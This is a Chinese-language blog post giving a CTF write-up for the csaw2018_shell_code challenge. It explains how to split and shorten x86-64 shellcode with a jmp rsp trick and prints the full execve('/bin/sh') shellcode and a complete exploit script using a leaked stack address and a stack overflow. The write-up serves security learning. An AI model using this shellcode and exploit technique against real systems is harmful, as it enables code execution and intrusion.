0
点赞
收藏
分享

微信扫一扫

利用rsp进行shellcode跳转&&缩短shellcode&&csaw2018_shell_code

架构大数据双料架构师 2022-04-04 阅读 104
c语言linux

文章目录

最近做了挺多这种缩短shellcode的题目,其实大概思想就是要利用现有的寄存器条件缩短shellcode,当然还是有一些基础的缩短shellcode的方法,用push pop来替换mov

csaw2018_shell_code

csaw2018_shell_code

题目分析

题目保护

在这里插入图片描述
栈可执行

漏洞

在这里插入图片描述

这两个地方可以填入shellcode
在这里插入图片描述
这里有个告诉栈地址
在这里插入图片描述
栈溢出

攻击

最开始想用一个块来打shellcode,但还是差一点,这里我用了两次shellcode
由于我们栈溢出之后,rsp会指向ret addr后面,所以只要不改变栈的大概偏移,就可以利用jmp rsp跳转

这里当时观察了一下栈结构,这里的栈溢出的地方会覆盖一点点第二块,所以我用第一块来作为第一次执行,最后jmp rsp跳转到栈溢出的地方

第一块的shellcode

shellcode = """
mov rax,0x68732F2F6E69622F; #10
xor rsi,rsi;# 3
jmp rsp;#2
"""

这里其实可以观察rsi,rdx,如果哪个可以只用xor esi来清零,就用哪个
刚好15长度

栈溢出的shellcode

sla(b"initials?\n", b"3" * (3 + 8) + p64(stack_addr + 0x28) + asm(shellcode3))

根据计算,栈溢出后面还可以写13个长度

shellcode3 = """
push rsi; #1 作为0截断字符串
push rax;#1
mov rdi,rsp;#3
push rsi;#1
pop rdx;#1
push 0x3b;#2
pop rax;#1
syscall;#2
"""

刚好够用

allpayload

bin_sh = 0x68732F2F6E69622F
shellcode = """
mov rax,0x68732F2F6E69622F;
xor rsi,rsi;
jmp rsp;
"""

shellcode3 = """
push rsi;
push rax;
mov rdi,rsp;
push rsi;
pop rdx;
push 0x3b;
pop rax;
syscall;
"""

sla(b"node 1:  \n", asm(shellcode))
sla(b"node 2: \n", b"")
ru(b"node.next: ")
stack_addr = int(rld(), 16)
sla(b"initials?\n", b"3" * (3 + 8) + p64(stack_addr + 0x28) + asm(shellcode3))
it()

举报
0 条评论